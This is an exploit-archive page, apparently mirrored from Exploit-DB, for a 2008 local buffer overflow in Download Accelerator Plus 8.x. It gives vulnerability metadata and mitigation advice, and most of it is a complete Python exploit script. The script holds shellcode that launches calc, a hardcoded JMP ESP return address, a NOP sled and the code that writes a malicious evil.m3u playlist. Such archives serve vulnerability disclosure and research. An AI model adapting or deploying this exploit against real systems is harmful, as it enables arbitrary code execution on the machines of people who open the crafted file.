Download Accelerator Plus - DAP 8.x (m3u) 0day Local Buffer Overflow Exploit

vendor:

Download Accelerator Plus

by:

Krystian Kloskowski (h07)

9.3

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: Download Accelerator Plus

Affected Version From: 8.x

Affected Version To: 8.6

Patch Exists: Yes

Related CWE: N/A

CPE: a:speedbit:download_accelerator_plus

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows XP SP2 Polish

2008

Download Accelerator Plus – DAP 8.x (m3u) 0day Local Buffer Overflow Exploit

This exploit is for Download Accelerator Plus 8.x (m3u) 0day Local Buffer Overflow. The bug was discovered by Krystian Kloskowski (h07) and tested on Download Accelerator Plus 8.6 / XP SP2 Polish. The exploit uses a Windows Execute Command (calc) shellcode and the return address is JMP ESP (SHELL32.DLL / XP SP2 Polish). The exploit creates an evil.m3u file which can be imported and clicked on 'Verify' to execute the shellcode.

Mitigation:

Update to the latest version of Download Accelerator Plus.

Source

Exploit-DB raw data:

#!/usr/bin/python
# Download Accelerator Plus - DAP 8.x (m3u) 0day Local Buffer Overflow Exploit
# Bug discovered by Krystian Kloskowski (h07) <h07_at_interia.pl>
# Tested on: Download Accelerator Plus 8.6 / XP SP2 Polish
# Shellcode: Windows Execute Command (calc)
# Just for fun ;]
##

from struct import pack

shellcode = (
"\x6a\x22\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x8d\x6c\xf6"
"\xb2\x83\xeb\xfc\xe2\xf4\x71\x84\xb2\xb2\x8d\x6c\x7d\xf7\xb1\xe7"
"\x8a\xb7\xf5\x6d\x19\x39\xc2\x74\x7d\xed\xad\x6d\x1d\xfb\x06\x58"
"\x7d\xb3\x63\x5d\x36\x2b\x21\xe8\x36\xc6\x8a\xad\x3c\xbf\x8c\xae"
"\x1d\x46\xb6\x38\xd2\xb6\xf8\x89\x7d\xed\xa9\x6d\x1d\xd4\x06\x60"
"\xbd\x39\xd2\x70\xf7\x59\x06\x70\x7d\xb3\x66\xe5\xaa\x96\x89\xaf"
"\xc7\x72\xe9\xe7\xb6\x82\x08\xac\x8e\xbe\x06\x2c\xfa\x39\xfd\x70"
"\x5b\x39\xe5\x64\x1d\xbb\x06\xec\x46\xb2\x8d\x6c\x7d\xda\xb1\x33"
"\xc7\x44\xed\x3a\x7f\x4a\x0e\xac\x8d\xe2\xe5\x9c\x7c\xb6\xd2\x04"
"\x6e\x4c\x07\x62\xa1\x4d\x6a\x0f\x97\xde\xee\x6c\xf6\xb2")

RET = 0x7CA58265 # JMP ESP (SHELL32.DLL / XP SP2 Polish)

m3u = 'http://localhost/verify_me________________________________%s.mp3'
buf = 'A' * 14074
buf += pack('<L', RET)
buf += '\x90' * 32
buf += shellcode
m3u %= buf

fd = open('evil.m3u', 'wb')
fd.write(m3u)
fd.close()

print 'DONE, import the evil.m3u and click "Verify"'

# EoF

# milw0rm.com [2008-07-08]